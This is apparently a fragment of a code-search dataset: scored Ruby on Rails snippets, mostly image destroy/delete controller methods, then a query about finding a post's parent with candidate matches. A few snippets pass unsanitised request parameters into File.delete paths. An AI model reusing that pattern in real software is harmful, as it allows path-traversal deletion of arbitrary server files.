"docid": "865f089cc3b98e27a1b660e4d891a1e9", "score": "0.6867547", "text": "def destroy\n @image = Image.find(params[:id])\n\n @image.destroy\n \n respond_to do |format|\n format.html { redirect_to(params[:redirect_to] || images_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "2b692e1d7731c8a4343ba849e908e488", "score": "0.6866927", "text": "def destroy\n @image_upload = ImageUpload.find(params[:id])\n @image_upload.destroy\n\n respond_to do |format|\n format.html { redirect_to(image_uploads_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "2b692e1d7731c8a4343ba849e908e488", "score": "0.6866927", "text": "def destroy\n @image_upload = ImageUpload.find(params[:id])\n @image_upload.destroy\n\n respond_to do |format|\n format.html { redirect_to(image_uploads_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "96aecaa24a2cb4971df5f59226ad2420", "score": "0.6859344", "text": "def delete_image\n ext = \".\" + \"#{params[:format]}\"\n file_name = \"#{Rails.root}/public/images/#{params[:poi_id]}_images/#{params[:file_name]}#{ext}\"\n File.delete(file_name) if File.file?(file_name)\n redirect_to show_images_path(params[:poi_id])\n end", "title": "" }, { "docid": "f2540cd95fc129fceac848d00f5acbeb", "score": "0.6857554", "text": "def destroy\n @masterimage = Masterimage.find(params[:id])\n @masterimage.destroy\n\n respond_to do |format|\n format.html { redirect_to(masterimages_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "87fb40134d67cac4743609fa9148b6f8", "score": "0.68067974", "text": "def destroy\n image = Image.find_by_hash(params[:id])\n if image.nil?\n return render json: {status: \"Image Doesn't exist\"}, status: 400\n end\n image.file.purge\n image.delete\n render json: {status: \"Image deleted\"}\n end", "title": "" }, { "docid": "748b558ec7527245ab8f21a266654723", "score": "0.6805967", "text": "def delete\n data = Storm::Base::SODServer.remote_call '/Storm/Image/delete',\n :id => @id\n data[:deleted]\n end", "title": "" }, { "docid": "310616c9698821a7f133680ae616035c", "score": "0.6790218", "text": "def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to(cloud_engine_images_url(@image.cloud_engine.id)) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "b06eb09aa681882302326acd3fb06b96", "score": "0.67826784", "text": "def destroy\n @imagem = Imagem.find(params[:id])\n @imagem.destroy\n\n respond_to do |format|\n format.html { redirect_to(imagems_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "33844cdab2c5ca7a70de9701f889b459", "score": "0.6778038", "text": "def destroy\n @image_test = ImageTest.find(params[:id])\n @image_test.destroy\n\n respond_to do |format|\n format.html { redirect_to(image_tests_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "8b6b5d478f2abb24a9aeb80fa5ba5f90", "score": "0.67699903", "text": "def destroy\n @item_image = ItemImage.find(params[:id])\n @item_image.destroy\n\n respond_to do |format|\n format.html { redirect_to(item_images_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "28074e4e665355df9d7a3a9c1d571bd5", "score": "0.67667353", "text": "def destroy\n @title = \"Micro array image\"\n\n @micro_array_image = MicroArrayImage.find(params[:id])\n flash[:notice] = \"Deleted Microarray image: \" + @micro_array_image.verbose_me\n @micro_array_image.destroy\n\n respond_to do |format|\n format.html { redirect_to micro_array_images_path }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "6e4df85e1268f4f291f0bb5cacae3d9f", "score": "0.6760319", "text": "def delete_image\n file new_resource.target do\n action :delete\n only_if { ::File.exist? new_resource.target }\n end\n end", "title": "" }, { "docid": "4216e9f9ceb01e61e2dead624049e5d7", "score": "0.6760299", "text": "def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to(schedule_images_path(params[:schedule_id])) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "6143d404754635ea3d1e920cd77b25ba", "score": "0.67546165", "text": "def destroy\n File.delete(\"public/#{@image.full_path}\")\n @image.destroy\n respond_to do |format|\n format.html { redirect_to admin_images_url, notice: '画像及び画像情報は正常に削除されました。' }\n end\n end", "title": "" }, { "docid": "4332904028f7741d52d317e61e2fadbf", "score": "0.6754291", "text": "def destroy\n @image = Image.find(params[:id])\n @image.destroy\n flash[:notice] = 'Image was successfully destroyed.'\n respond_to do |format|\n format.html { redirect_to my_images_url }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "0b24cbc6495df3923ea7679acbcd8deb", "score": "0.6746441", "text": "def delete_floor_plan(args = {}) \n delete(\"/files.json/floorplan/images\", args)\nend", "title": "" }, { "docid": "36d2ec745935a00560bef1cf92dffe28", "score": "0.6733102", "text": "def destroy\n @flat_image.destroy\n\n respond_to do |format|\n format.html { redirect_to(flat_images_url,\n :notice => I18n.t('backend.actions.success_destroy',\n :model => I18n.t('activerecord.capitalized_models.flat_image'))) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "359158c8563b51fd81bf36a9e804c295", "score": "0.6728498", "text": "def destroy\n @counter_images_set = CounterImagesSet.find(params[:id])\n @counter_images_set.destroy\n\n respond_to do |format|\n format.html { redirect_to(counter_images_sets_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "1b9daa72f04f13ce8be46f5afa8db7af", "score": "0.67242944", "text": "def destroy\n @image = current_user.images.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to(images_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "a15324f63aae85e0a95d110087fe9c56", "score": "0.67229545", "text": "def destroy\n Image.find(params[:id]).destroy\n render :update do |page|\n page[\"image_#{params[:id]}\"].remove\n end\n end", "title": "" }, { "docid": "ab8f156dbf003930db719e78157f3a36", "score": "0.6708857", "text": "def destroy\n @shared_image = SharedImage.find(params[:id])\n @shared_image.destroy\n\n respond_to do |format|\n format.html { redirect_to(shared_images_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "58a1d971046e635d87c9b18e358913f6", "score": "0.66987824", "text": "def destroy\n @scrap_photo = ScrapPhoto.find(params[:id])\n @scrap_photo.destroy\n\n respond_to do |format|\n format.html { redirect_to(scrap_photos_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "95956fb0100b6b1601f05e5e9805b413", "score": "0.6682663", "text": "def delete\n@image = Image.find(@params['id'])\n@image.destroy\nredirect :action => :index\nend", "title": "" }, { "docid": "609d4f0921f9892f80290261aa8a2b52", "score": "0.66821384", "text": "def delete_from_aws\n self.remove_image!\n self.save\n end", "title": "" }, { "docid": "e0d5a0eeed8c6c73ae200a9436de9052", "score": "0.66791767", "text": "def delete_image\n if request.post? == false\n render :json => { :message => \"Error\" }\n return\n end\n image = Image.new\n image.byId( params[ :image_id ] )\n collection = Collection.new\n collection.byId( params[ :collection_id ] )\n collection.delete( :images, image.urn )\n render :json => { \n :message => \"Success\", \n :collection => collection.all \n }\n end", "title": "" }, { "docid": "49f9c5252ed35b17b450673d260d025c", "score": "0.667849", "text": "def destroy\n @image.file.clear\n @image.destroy\n render text:'Ok'\n end", "title": "" }, { "docid": "42333e6680168705991544b351e9b22c", "score": "0.6675925", "text": "def destroy\n @patient_image = PatientImage.find(params[:id])\n @patient_image.destroy\n\n respond_to do |format|\n format.html { redirect_to(patient_images_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "7f99b09f35141450cdf7339caea717cf", "score": "0.6667435", "text": "def file_delete\n @user = User.find_by username: params[:username]\n @project = Project.find_by user_id: @user.id, name: params[:project]\n file = File.join(@project.satellitedir, params[:image_name])\n FileUtils.rm(file) if File.exists?(file)\n satellite_delete(@project.satelliterepo,params[:image_name])\n @project.pushtobare\n flash[:notice] = \"#{params[:image_name]} has been deleted!\"\n redirect_to @project.urlbase\n end", "title": "" }, { "docid": "b282e796aa959c52dd8f6dfdf0a7c9e9", "score": "0.6664998", "text": "def destroy\n @poi.destroy\n FileUtils.remove_dir \"#{Rails.root}/public/images/#{@poi.id}_images\"\n respond_to do |format|\n format.html { redirect_to show_all_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8e911b1a5d8964b2e3d3b8ce2c8449be", "score": "0.66321015", "text": "def destroy\n json_respond compute().delete_image(params[:imageID])\n end", "title": "" }, { "docid": "d45c331e02179a028a001820785ab377", "score": "0.66284", "text": "def destroy\r\n @page_image = PageImage.find(params[:id])\r\n @page_image.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(page_images_url) }\r\n format.xml { head :ok }\r\n end\r\n end", "title": "" }, { "docid": "d7ac66d16809f7fba38c0e689179fed1", "score": "0.6619416", "text": "def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to(album_url(@image.album_id)) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "0b126335d09a26d63851c78d7b29ed2c", "score": "0.6618228", "text": "def destroy\n #debugger\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html {redirect_to new_issue_article_path(:issue_id => d(@issue.date))}\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "dfc5c9da57c14a866aa791542992de46", "score": "0.66172594", "text": "def destroy\n @viewimage.destroy\n # @id=@viewimage\n # @path= \"#{Rails.root}/uploads/viewimage/image/#{@id}\"\n # if File.exist?(@path)\n # File.delete(@path)\n # end\n respond_to do |format|\n format.html { redirect_to viewimages_url, notice: 'Viewimage was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fe2605e901b3880b7b276b473c224ec3", "score": "0.66159916", "text": "def destroy\n @az_c_image = AzCImage.find(params[:id])\n @az_c_image.destroy\n\n respond_to do |format|\n format.html { redirect_to(az_c_images_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "b0431b0eba3784096657c0bcb18ed920", "score": "0.661054", "text": "def destroy\n @knack = Knack.find(params[:id])\n \n #delete each file\n # Photo.find_each(:knack_id => params[:id]) do |photo|\n # File.delete(photo.path)\n # end\n\n #delete whole directory\n require 'fileutils'\n filedir = \"app/assets/images/\" + params[:id]\n if Dir.exists?(filedir)\n FileUtils.rm_r filedir\n end\n\n @knack.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_knack_category_path( @category ) }\n format.json { head :no_content }\n format.js #added\n end\n end", "title": "" }, { "docid": "5717acdfd39e34108e37691dddc46a48", "score": "0.66077983", "text": "def destroy\n @batch_image = BatchImage.find(params[:id])\n @batch_image.destroy\n\n respond_to do |format|\n format.html { redirect_to(batch_images_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "40591dda08bafd7df9f835ef969d69c9", "score": "0.6603398", "text": "def delete_image_folders\n id_image = id.to_s\n FileUtils.rm_rf('public/uploads/photo/image/' + id_image)\n end", "title": "" }, { "docid": "3e8fd6cda007fc23bbf554e0b92ad3dd", "score": "0.6601302", "text": "def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "ab341b315413316122c09b3694334c02", "score": "0.6590159", "text": "def delete_image tags\n all_images_by_tags( tags ).each do | image | \n @ec2.deregister_image image[ :aws_id ]\n end \n end", "title": "" }, { "docid": "0d89b43e500e62da2a33d3a432b3ca58", "score": "0.65901464", "text": "def delete_images\n Image.where(id: params[:images]).destroy_all\n redirect_to root_url\n end", "title": "" }, { "docid": "8331706fd5bf11a0066eb801e7c5881f", "score": "0.6577285", "text": "def delete_image\n \t@image_stock = PhotoStock.find(params[:image_id])\n \t@image_stock.remove_image = true\n \t@image_stock.destroy\n \t\n \trender :nothing => true\n end", "title": "" }, { "docid": "c33af02bc0d4c6e827f69c38649de90b", "score": "0.6563665", "text": "def destroy\n\t\t@image = Image.find(params[:id])\n\t\t@image.destroy\n\n\t\trespond_to do |format|\n\t\t format.html { redirect_to(images_path(:type => params[:type])) }\n\t\t format.xml { head :ok }\n\t\tend\n\tend", "title": "" }, { "docid": "e63b071b032694eb7f89ea1c31242ef2", "score": "0.6554085", "text": "def delete\n if @identifier && @identifier['image_id'].present?\n connection.delete_foto(@identifier['image_id'])\n end\n end", "title": "" }, { "docid": "8b6c03fc286eaf1fd55895d2a4fbe0b1", "score": "0.6553305", "text": "def destroy\n @image = @album.images.find(params[:id])\n @album = @image.album\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_club_album_path(@album.club, @album)) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "5237818f7ef5aebf0e48ea9208afce3f", "score": "0.65514404", "text": "def delete_image\r\n @clinic_case = @topic.clinic_cases.find(params[:clinic_case_id])\r\n @image_id = params[:image_id].to_i\r\n respond_to do |format|\r\n if @clinic_case.images[@image_id].purge()\r\n update_hash_after_delete()\r\n format.html { redirect_to [@topic, @clinic_case], notice: 'Imagem do caso clínico foi excluído com sucesso.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { redirect_to [@topic, @clinic_case] }\r\n format.json { render json: @clinic_case.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "d8f13a92e936ff95747b46e495819c7c", "score": "0.6547777", "text": "def destroy\n# @image = Image.find(image_id)\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to images_url, notice: 'Images deleted' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "719065649a2a19a4419fa42c0d0d6815", "score": "0.65425", "text": "def delete(folder, image_name)\n begin\n Rails.logger.info \"deleting #{image_name}\"\n res = File.delete(File.join(ENV[\"IMG_PATH\"], folder.name, image_name))\n if res == 1\n ## remove thumb\n File.delete(File.join(ENV[\"IMG_PATH\"], folder.name, \"thumbs\", image_name))\n ## remove from db\n img = Image.where(:name => image_name, :folder =>folder).first\n Exif.where(:image => img).destroy_all\n img.destroy\n else\n Rails.logger.error \"huh, something went wrong\"\n end\n rescue Exception => e\n Rails.logger.error \"Can't delete file\"\n Rails.logger.error e\n end\n end", "title": "" }, { "docid": "b75595fadcf2494b514d125e4e8d94b8", "score": "0.65292466", "text": "def destroy\n @imagen = Imagen.find(params[:id])\n @imagen.destroy\n\n respond_to do |format|\n format.html { redirect_to(imagenes_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "de20116d7f090023cd90941d0f6c9659", "score": "0.65237445", "text": "def destroy\n #expire_index_page\n\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_photos_path) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "6f7523a73f6edcfacef2ff0c2e23b5e1", "score": "0.6519912", "text": "def destroy\n @book = Book.find(params[:id])\n #画像情報の削除\n @book.images.each{|image|\n image.destroy\n }\n #ディレクトリの削除\n deleteall(\"./public/images/#{@book.id}/\") if FileTest.exist?(\"./public/images/#{@book.id}/\") == true\n #本情報の削除\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b7dccfac5d40b7209c20023d917a773a", "score": "0.65099347", "text": "def destroy\n @imagen = Imagen.find(params[:id])\n @imagen.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_imagens_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "a88e279021dabba6e7e4498ed33154d1", "score": "0.6506479", "text": "def destroy\n @image_dataset_quality_check = ImageDatasetQualityCheck.find(params[:id])\n im_ds = @image_dataset_quality_check.image_dataset\n @image_dataset_quality_check.destroy\n\n respond_to do |format|\n format.html { redirect_to(im_ds) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "04da0e14903eb3f0adef66e223f7f45b", "score": "0.6502341", "text": "def delete!\n response = @connection.csreq(\"DELETE\",@connection.svrmgmthost,\"#{@connection.svrmgmtpath}/images/#{URI.escape(self.id.to_s)}\",@connection.svrmgmtport,@connection.svrmgmtscheme)\n OpenStack::Compute::Exception.raise_exception(response) unless response.code.match(/^20.$/)\n true\n end", "title": "" }, { "docid": "5b318a3d82f01406dc68e22d222432e6", "score": "0.6501855", "text": "def destroy\n @album = Album.find(params[:album_id])\n @image = @album.images.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to(@album) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "989e824b8032b2d1dfd3802f2ab2cd66", "score": "0.6501581", "text": "def destroy\n @photo = Photo.find(params[:id])\n @photo.remove_image! if @photo.image_url \n @photo.destroy\n @photos = Photo.all\n\n\n respond_to do |format|\n flash[:notice] = \"Photo bien supprimée\"\n format.html\n end\n end", "title": "" }, { "docid": "7f53561d11f67a02e584e0b044a1a515", "score": "0.64998305", "text": "def destroy\n @gallery_image = GalleryImage.find(params[:id])\n @gallery_image.destroy\n\n respond_to do |format|\n format.html { redirect_to(gallery_images_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "a98ad27507ba09906132889e6bab029e", "score": "0.6499775", "text": "def destroy\n @image1.destroy\n respond_to do |format|\n format.html { redirect_to image1s_url, notice: \"Image1 was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b81775753ed9b283a0de03a911124cdc", "score": "0.64983565", "text": "def destroy\n @article = Article.get(params[:id])\n \n # 업로드된 이미지 파일 삭제 =========================================================================\n file_name = @article.image_filename\n if File.exist?(IMAGE_PATH + file_name)\n \tFile.delete(IMAGE_PATH + file_name) #original image file\n \tFile.delete(IMAGE_PATH + \"t_\" + file_name) #thumbnail file\n end\n # 업로드된 이미지 파일 삭제 =========================================================================\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to(articles_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "56cc9e3bc2cce8573389ed4cfc8c9a80", "score": "0.64967763", "text": "def destroy\n\n Photo.where( bio_id: @bio.id).each do |image|\n delete_from_s3 image\n image.destroy\n end\n\n @bio.destroy\n respond_to do |format|\n format.html { redirect_to bios_url, notice: 'Bio was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "66672d128a9e6f3be7ec5fa72ca6a844", "score": "0.64876574", "text": "def delete\n @picture = Picture.find(params[:id])\n @picture.destroy\n\n respond_to do |format|\n format.html { redirect_to :action => :index }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "42f02e08dcaeb6f0531e06876aa8641e", "score": "0.64865375", "text": "def destroy\n @cover_image_name = CoverImageName.find(params[:id])\n @cover_image_name.destroy\n\n respond_to do |format|\n format.html { redirect_to(cover_image_names_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "41e30086e3032b82db73731f2030c33e", "score": "0.6486498", "text": "def delete\n @image = find_image\n @image.destroy\n render json: { success: true }\n end", "title": "" }, { "docid": "3a199a31f50cdf6c6c0a386355d21c57", "score": "0.64845604", "text": "def delete\r\n self.pictures.each{ |image_url| Helper::ImageUploader.delete_image(image_url, settings.root) }\r\n Marketplace::Database.instance.delete_item(self)\r\n end", "title": "" }, { "docid": "7f182e4ac2a27465baa951ffb075806f", "score": "0.64798343", "text": "def delete\n [filename, thumbnail_name].each do |name|\n image = \"#{DIRECTORY}/#{name}\"\n File.delete(image) if File.exists?(image)\n end\n end", "title": "" }, { "docid": "64b89aa82673517f850aeea9660f502e", "score": "0.6470302", "text": "def destroy\n @image_file = ImageFile.find(params[:id])\n @image_file.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_image_files_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "dc7f523474227b1224b7ff64a79c9848", "score": "0.6469195", "text": "def destroy\n#@photo = Photo.find(params[:id])\n#@photo.destroy\n\n respond_to do |format|\n format.html { redirect_to(photos_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "4100b1ba27a9a751bb11d54b45e1aeb1", "score": "0.6468804", "text": "def delete(path);end", "title": "" }, { "docid": "4100b1ba27a9a751bb11d54b45e1aeb1", "score": "0.6468804", "text": "def delete(path);end", "title": "" }, { "docid": "6abaad0627132af3266101e16c33151c", "score": "0.6465933", "text": "def destroy\n @post_image = PostImage.find(params[:id])\n @post_image.destroy\n\n respond_to do |format|\n format.html { redirect_to post_path(@post) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "cd13bbaf53fb57ac3ece9e0e0ca9e011", "score": "0.64625776", "text": "def test_zzz_images_delete\n @@log.debug 'test_zzz_images_delete'\n result = nil\n assert_not_nil(@@added_image_info)\n assert_nothing_raised(SmugRaw::FailedResponse) {\n result = smugmug.images.delete(@@added_image_info)\n }\n end", "title": "" }, { "docid": "bb1d8c657628ed49f7543d839a5d74ae", "score": "0.64623487", "text": "def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "548a677ac73f4ea01c0d11f350c1af50", "score": "0.6454946", "text": "def destroy\n @img_url.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "19f2f18a36f284f2c46fa2423a40e076", "score": "0.645266", "text": "def destroy\n @picture1 = Picture1.find(params[:id])\n @picture1.destroy\n\n respond_to do |format|\n format.html { redirect_to(picture1s_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "ee6aebcdece94b62dec84064ea576ff9", "score": "0.64520246", "text": "def destroy\n @sudachi_image.destroy\n respond_to do |format|\n format.html {redirect_to sudachi_images_url, notice: '思い出をまた一つ忘却してしまったヌーン。。。'}\n format.json {head :no_content}\n end\n end", "title": "" }, { "docid": "23a768c361ecbc093383a9c58cb63918", "score": "0.64513946", "text": "def destroy\n id = params[:id] \n @image = @album.images.find(id).destroy\n respond_to do |format|\n format.html { redirect_to(prank_album_images_path(@prank, @album)) }\n end\n end", "title": "" }, { "docid": "6665cd0645759f43dd3af461f2c6a83c", "score": "0.64503926", "text": "def destroy\n File.delete(\"public/img/members/#{name}\")\n @image.destroy\n redirect_to account_images_path, notice: t('notice.deleted',{model: t('activerecord.models.image')})\n end", "title": "" }, { "docid": "59de02f98d543e5389a10a8879c450a4", "score": "0.64497894", "text": "def destroy\n @image = Image.find_by(id: params[:id])\n @image.destroy\n redirect_to images_path\n end", "title": "" }, { "docid": "d2495b694a771867e86a9064b2aed962", "score": "0.6447108", "text": "def delete_approved_image\n @poi = Poi.find(params[:id])\n \n ext = \".\" + \"#{params[:format]}\"\n file_name = \"#{Rails.root}/public/images/#{params[:id]}_images/user_images/approved/#{params[:file_name]}#{ext}\"\n File.delete(file_name) if File.file?(file_name)\n \n redirect_to show_approved_images_path(@poi), notice: ' Image was successfully removed.'\n end", "title": "" }, { "docid": "f43756745701aed361be2e004f6aff75", "score": "0.6445425", "text": "def destroy\n @gallery_image = GalleryImage.find(params[:id])\n @gallery_image.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_gallery_images_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "f8dade3400c5691ce65a569fa6449ffc", "score": "0.6442194", "text": "def destroy\n @image_type = ImageType.find(params[:id])\n @image_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(image_types_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "285ffb4efa8f4f22fb36e180d8022016", "score": "0.6441981", "text": "def destroy\r\n @image = Image.find(params[:id])\r\n \r\n @image.destroy\r\n flash[:notice] = \"Successfully destroyed image.\"\r\n redirect_to @image.imovel\r\n end", "title": "" }, { "docid": "e57471cbc7e4d176ba238b8ec1f6425f", "score": "0.64409405", "text": "def destroy\n @image.destroy\n end", "title": "" }, { "docid": "41e385120d9c43623c448c599be9933a", "score": "0.6439219", "text": "def remove_images\n ExamImage.find(params[:id]).destroy\n\n render json: {}.to_json(), status: :ok\n end", "title": "" }, { "docid": "f905afa78c13849536e7592e15d7001d", "score": "0.64354247", "text": "def destroy\n @moto_cover_image_name = MotoCoverImageName.find(params[:id])\n @moto_cover_image_name.destroy\n\n respond_to do |format|\n format.html { redirect_to(moto_cover_image_names_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "f040140f2f441a89c3b958f440baffe4", "score": "0.6430983", "text": "def destroy\n @pic = Pic.find(params[:id])\n @pic.destroy\n\n respond_to do |format|\n format.html { redirect_to(pics_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "f040140f2f441a89c3b958f440baffe4", "score": "0.6430983", "text": "def destroy\n @pic = Pic.find(params[:id])\n @pic.destroy\n\n respond_to do |format|\n format.html { redirect_to(pics_url) }\n format.xml { head :ok }\n end\n end", "title": "" } ]
9e35f0a933f3fc3c086f504aadc46893
Gets the parent post of a post.
[ { "docid": "c3be4a2c675fad64120542dd15bbba5e", "score": "0.90771234", "text": "def parent_of(post)\n posts.find { |t| t.id == post.parent_post }\n end", "title": "" } ]
[ { "docid": "c430c0cc5dfbe993c9b8dabbfc502328", "score": "0.76506245", "text": "def parent_posts\n posts.find_all { |p| p.parent_post.nil? }\n end", "title": "" }, { "docid": "eff2a641774b4c47e26599d0f9639ed3", "score": "0.7525205", "text": "def parent_post\n self.post_activity.parent.direct_object\n end", "title": "" }, { "docid": "4b0beefe23f856ed407ef2bc7a1a2ed8", "score": "0.7002161", "text": "def get_parent\n note = self\n return Note.first(:id=>note.parent)\n end", "title": "" }, { "docid": "8951a83679c16eaf4259167c30b654d1", "score": "0.6872278", "text": "def parent\n tree.parent_for(parent_id).first\n end", "title": "" }, { "docid": "38403215821997563e9b6585eb037b97", "score": "0.6840987", "text": "def parent\n\n h.parent_id ?\n Ruote::Exp::FlowExpression.fetch(@context, h.parent_id) :\n nil\n end", "title": "" }, { "docid": "8b68ac03abc248e49cdc8d9857f0c037", "score": "0.6829102", "text": "def parent\n if parent_id.blank? then nil else unscoped_find(parent_id) end\n end", "title": "" }, { "docid": "48418f00a8a74115d1b34af82a5a8438", "score": "0.66987807", "text": "def parent_object\n # hack by sean to allow permalink parents\n parent? && !parent_singleton? ? parent_model_find(parent_param) : nil\n end", "title": "" }, { "docid": "cf0e09cda8f99c550c35f3a6acb6be42", "score": "0.6679301", "text": "def parent\n return @links[:parent]\n end", "title": "" }, { "docid": "e9b718167c01cfa4bd03726e287106b4", "score": "0.66554356", "text": "def get_parent\n return nil\n end", "title": "" }, { "docid": "3b1e1a6f89e54d61274e7bc6c91b4cab", "score": "0.6631863", "text": "def parent\n return @parent\n end", "title": "" }, { "docid": "a577d8183651cd042d3f010859949ea7", "score": "0.6613878", "text": "def parent\n return @parent unless @parent.nil?\n return Message.find(parent_id) unless parent_id.nil?\n end", "title": "" }, { "docid": "3520cbb727a6f6d0d1c2e769695bc336", "score": "0.6543765", "text": "def parent\n if self.rep_parent.nil?\n if self.parent_id.nil?\n return nil\n else\n return Activity.find(self.parent_id)\n end\n\n else\n return self.rep_parent.parent\n end\n end", "title": "" }, { "docid": "f16c3087260d51d04575b6eee96db197", "score": "0.6530694", "text": "def parent\n self.class.find_by_id(self.parent_id) unless self.parent_id.nil?\n end", "title": "" }, { "docid": "3ca0788b4fcd236f4af7f70fcdaad9eb", "score": "0.650275", "text": "def parent_id\n object[\"parent_id\"]\n end", "title": "" }, { "docid": "e90595a065dcd9a87e17e9adee1b8a50", "score": "0.64942044", "text": "def parent\n\t\treturn parent_of @current_node\n\tend", "title": "" }, { "docid": "21d62fd3ee87be321ba8857452183e5f", "score": "0.64784735", "text": "def parent_node(node)\n return node.respond_to?(:parent) ? node.parent : node\n end", "title": "" }, { "docid": "c43e54a22a0d77e52df94e2151577b2d", "score": "0.64470106", "text": "def parent\n parents.empty? ? nil : parents[0]\n end", "title": "" }, { "docid": "85a1d0bb4a7738900a9825fb4b2f6eb3", "score": "0.64453083", "text": "def the_parent(content=nil)\n if node = content || @content || Content.get(params[:id])\n node.parent\n else\n \"<strong>Error:</strong> No parent information could be found\" unless ENV['RACK_ENV'] == 'production'\n end\n end", "title": "" }, { "docid": "e7a4bda1b983181412adc0d2036e9ee9", "score": "0.6427936", "text": "def find_parent_comment_id\n comment = Comment.find_by_id(self.likeable_id)\n comment.parent_comment_id\n end", "title": "" }, { "docid": "de89118f6d0f5c668d17db7342533cbc", "score": "0.6409631", "text": "def parent\n o = Object.const_get(parent_model) rescue nil\n o && o.get(parent_id)\n end", "title": "" }, { "docid": "7817f04ace4511148436a37d9004b1d6", "score": "0.63848203", "text": "def parent\n \tif self.parent_id == -1\n \t\treturn nil\n \telse\n \t\treturn Category.find(self.parent_id)\n \tend\n end", "title": "" }, { "docid": "0433797d7142c0b7e755ce9cd9b8753a", "score": "0.63810784", "text": "def parent\n ancestors.last\n end", "title": "" }, { "docid": "134b3c85439529940a355e6d132a5348", "score": "0.6355214", "text": "def parent_id\n self[self.nested_set_options[:parent_column]]\n end", "title": "" }, { "docid": "a48c0b5b440ca43a97a7d9a0048d483c", "score": "0.6354946", "text": "def parent\n @parent ||= resource.decorate.parent\n end", "title": "" }, { "docid": "59c28b6731adf47621a130b96720c037", "score": "0.63413715", "text": "def previous_post\n @previous_post ||= self.class.only(:title, :slug).where(:post_date.lt => self.post_date).descending(:post_date).first\n end", "title": "" }, { "docid": "cbd6bec79a2025c955a141190b6d404c", "score": "0.6333091", "text": "def parent\n @parent\n end", "title": "" }, { "docid": "cbd6bec79a2025c955a141190b6d404c", "score": "0.6333091", "text": "def parent\n @parent\n end", "title": "" }, { "docid": "cbd6bec79a2025c955a141190b6d404c", "score": "0.6333091", "text": "def parent\n @parent\n end", "title": "" }, { "docid": "cbd6bec79a2025c955a141190b6d404c", "score": "0.6333091", "text": "def parent\n @parent\n end", "title": "" }, { "docid": "c43769aad4d3e6f60b86283e2271c532", "score": "0.629653", "text": "def parent\n dataset.nested.filter(self.primary_key => self.parent_id).first if self.parent_id\n end", "title": "" }, { "docid": "a20d6d1d3a9d6cfdd02a7cc79c6869d6", "score": "0.6295272", "text": "def parent\n 